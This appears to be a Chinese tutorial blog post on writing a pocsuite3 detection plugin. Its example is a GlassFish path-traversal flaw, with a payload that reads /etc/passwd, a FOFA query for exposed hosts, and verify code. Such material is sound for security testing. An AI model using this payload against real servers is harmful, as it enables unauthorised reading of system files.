pocsuite3檢測工具 編寫poc
阿新 • • 發佈:2021-08-13
github地址:https://github.com/knownsec/Pocsuite3
首先確定pocsuit的命令執行方式
verify模式為漏洞檢測模式
attack模式為向目標發起有效的攻擊
首先找到一個poc 進行分析原始碼
複製其原始碼,再原有的基礎框架進行修改,首先修改檢測模組
這裡舉例glassfish檔案讀取漏洞
payload = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
這裡根據網頁的返回碼進行判定是否存在漏洞,若code為200,則存在該漏洞。
原thinkphp的檢測模組
修改後的
更改描述
fofa搜尋:"glassfish" && port="4848"
執行命令檢測
修改def _verify(self): result = {} poc_url=self.url #根據原有框架獲取url payload = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd' resp = requests.get(poc_url + payload) try: if resp.status_code == 200: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = poc_url result['VerifyInfo']['Postdata'] = payload except Exception as e: passreturn self.parse_output(result)